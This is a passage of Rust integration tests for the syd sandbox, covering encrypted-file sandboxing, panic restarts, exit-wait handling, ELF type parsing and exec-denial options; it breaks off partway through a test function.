fn test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_restart_on_panic_read() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("panic/read+/dev/null")
        .do_("open", ["/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);
    Ok(())
}

fn test_syd_restart_on_panic_exec() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("panic/exec+/dev/null")
        .arg("/dev/null")
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);
    Ok(())
}

fn test_syd_restart_on_panic_chdir() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("panic/chdir+/dev")
        .do_("chdir", ["/dev"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);
    Ok(())
}

fn test_syd_exit_wait_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_default_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:0")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:0")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is empty.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:0")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_unsafe_ptrace_with_runaway_cmd_exec_process() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:0")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 7, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:1")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(
            r##"
: > test
chmod 600 test
cat > exec.sh <<'EOF'
#!/bin/bash -x
sleep 5
echo INSIDE > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 7, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:1")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_unsafe_ptrace_with_runaway_cmd_exec_process() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:1")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["bash", "-xc"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -x
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 INSIDE &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 10 OUT)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    // Ensure the path exists.
    let path = Path::new("./test");
    assert!(path.exists());

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file...");
    sleep(Duration::from_secs(20));

    // Ensure the file is of correct size.
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_cli_args_override_user_profile() -> TestResult {
    skip_unless_available!("sh");

    let _ = unlink(".user.syd-3");
    let mut file = File::create(".user.syd-3").expect("Failed to create .user.syd-3");
    file.write_all(b"mem/max:4242\npid/max:2525\n")
        .expect("Failed to write to .user.syd-3");

    #[expect(clippy::zombie_processes)]
    let mut child = syd()
        .m("pid/max:4242")
        .m("stat")
        .c("true")
        .stderr(Stdio::piped())
        .spawn()
        .expect("execute syd");

    // Read the output from the child process
    let child_stderr = child.stderr.as_mut().expect("child stderr");
    let mut reader = BufReader::new(child_stderr);
    let mut output = String::new();
    if let Err(error) = reader.read_to_string(&mut output) {
        return Err(TestError(format!(
            "Failed to read output of child process: {error}"
        )));
    }

    // Wait for the process to exit.
    child.wait().expect("wait for syd");

    print!("Child output:\n{output}");
    assert!(output.contains("Pid Max: 4242"));
    //This may fail if the site-wide config file has lock:on.
    //assert!(output.contains("Memory Max: 4242"));

    Ok(())
}

fn test_syd_ifconfig_loopback_bare() -> TestResult {
    let status = syd()
        .p("off")
        .do_("ifconfig_lo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ifconfig_loopback_wrap() -> TestResult {
    skip_unless_unshare!("user", "net");

    let status = syd()
        .p("off")
        .m("unshare/user,net:1")
        .do_("ifconfig_lo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_parse_elf_native() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh", "getconf");

    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(format!(
            r##"
#!/bin/sh
set -ex

bit=$(getconf LONG_BIT)

cat > hello.c <<EOF
int main() {{
    return 0;
}}
EOF

# Step 1: Compile dynamic PIE executable.
cc -o hello-pie -fPIE -pie hello.c || exit 128

# Step 2: Compile dynamic PIE executable with executable stack.
cc -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128

# Step 3: Compile static non-PIE executable.
cc -o hello-static -static -no-pie hello.c || exit 128

# Step 4: Compile static non-PIE executable with executable stack.
cc -o hello-static-xs -static -no-pie -zexecstack hello.c || exit 128

# Step 5: Compile dynamic executable without PIE.
cc -o hello-dynamic -no-pie hello.c || exit 128

# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128

# Step 7: Compile static PIE executable.
cc -o hello-static-pie -static-pie hello.c || exit 128

# Step 8: Compile static PIE executable with executable stack.
cc -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128

# Verify ELF file types.
for file in hello-*; do
    OUT=$({syd_elf} "$file")
    echo "$file: $OUT"
    case "$file" in
    hello-pie)
        EXP="exe${{bit}}-dynamic-pie"
        ;;
    hello-pie-xs)
        EXP="exe${{bit}}-dynamic-pie-xs"
        ;;
    hello-static)
        EXP="exe${{bit}}-static"
        ;;
    hello-static-xs)
        EXP="exe${{bit}}-static-xs"
        ;;
    hello-dynamic)
        EXP="exe${{bit}}-dynamic"
        ;;
    hello-dynamic-xs)
        EXP="exe${{bit}}-dynamic-xs"
        ;;
    hello-static-pie)
        EXP="exe${{bit}}-static-pie"
        ;;
    hello-static-pie-xs)
        EXP="exe${{bit}}-static-pie-xs"
        ;;
    esac
    echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done

echo "All ELF file checks passed."
    "##))
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_parse_elf_32bit() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_bitness!("64");
    skip_unless_available!("cc", "sh", "getconf");

    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(format!(
            r##"
#!/bin/sh
set -ex

bit=32

cat > hello.c <<EOF
int main() {{
    return 0;
}}
EOF

# Step 1: Compile dynamic PIE executable.
cc -g -ggdb -m32 -o hello-pie -fPIE -pie hello.c || exit 128

# Step 2: Compile dynamic PIE executable with executable stack.
cc -g -ggdb -m32 -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128

# Step 3: Compile static non-PIE executable.
cc -g -ggdb -m32 -o hello-static -static hello.c || exit 128

# Step 4: Compile static non-PIE executable with executable stack.
cc -g -ggdb -m32 -o hello-static-xs -static -zexecstack hello.c || exit 128

# Step 5: Compile dynamic executable without PIE.
cc -g -ggdb -m32 -o hello-dynamic -no-pie hello.c || exit 128

# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -g -ggdb -m32 -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128

# Step 7: Compile static PIE executable.
cc -g -ggdb -m32 -o hello-static-pie -static-pie hello.c || exit 128

# Step 8: Compile static PIE executable with executable stack.
cc -g -ggdb -m32 -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128

# Verify ELF file types.
for file in hello-*; do
    OUT=$({syd_elf} "$file")
    echo "$file: $OUT"
    case "$file" in
    hello-pie)
        EXP="exe${{bit}}-dynamic-pie"
        ;;
    hello-pie-xs)
        EXP="exe${{bit}}-dynamic-pie-xs"
        ;;
    hello-static)
        EXP="exe${{bit}}-static"
        ;;
    hello-static-xs)
        EXP="exe${{bit}}-static-xs"
        ;;
    hello-dynamic)
        EXP="exe${{bit}}-dynamic"
        ;;
    hello-dynamic-xs)
        EXP="exe${{bit}}-dynamic-xs"
        ;;
    hello-static-pie)
        EXP="exe${{bit}}-static-pie"
        ;;
    hello-static-pie-xs)
        EXP="exe${{bit}}-static-pie-xs"
        ;;
    esac
    echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done

echo "All ELF file checks passed."
    "##))
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_parse_elf_path() -> TestResult {
    skip_unless_available!("sh");

    let syd_elf = &SYD_ELF.to_string();
    let status = Command::new("sh")
        .arg("-c")
        .arg(format!(
            r##"
IFS=:
set -- $PATH
r=0
for path; do
    for file in "$path"/*; do
        if ! {syd_elf} "$file"; then
            test $? -gt 1 && r=1
            echo >&2 "error parsing file: $file"
        fi
    done
done
exit $r
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_deny_exec_elf32() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_bitness!("64");
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc -g -ggdb -m32 exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_exec_elf32:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_exec_elf32:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_exec_elf_dynamic() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_exec_elf_dynamic:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_exec_elf_dynamic:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_exec_elf_static() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -o exit -static
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_exec_elf_static:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_exec_elf_static:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_exec_script() -> TestResult {
    skip_unless_available!("sh");

    syd::fs::cat("script", "#!/bin/sh\nexit 42")?;
    syd::fs::chmod_x("script")?;

    // Scripts are allowed by default.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Scripts are denied with deny_exec_script:1.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("trace/deny_exec_script:1")
        .argv(["./script"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_restrict_exec_script_default() -> TestResult {
    // SECBIT_EXEC_RESTRICT_FILE is Linux>=6.14.
    skip_unless_linux!(6, 14);

    let status = syd()
        .p("off")
        .argv([&*SYD_SEC])
        .arg("-xX")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_restrict_exec_script_unsafe() -> TestResult {
    // SECBIT_EXEC_RESTRICT_FILE is Linux>=6.14.
    skip_unless_linux!(6, 14);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_script:1")
        .argv([&*SYD_SEC])
        .arg("-xX")
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_restrict_exec_interactive_default() -> TestResult {
    // SECBIT_EXEC_DENY_INTERACTIVE is Linux>=6.14.
    skip_unless_linux!(6, 14);

    let status = syd()
        .p("off")
        .argv([&*SYD_SEC])
        .arg("-iI")
        .status()
        .expect("execute syd");
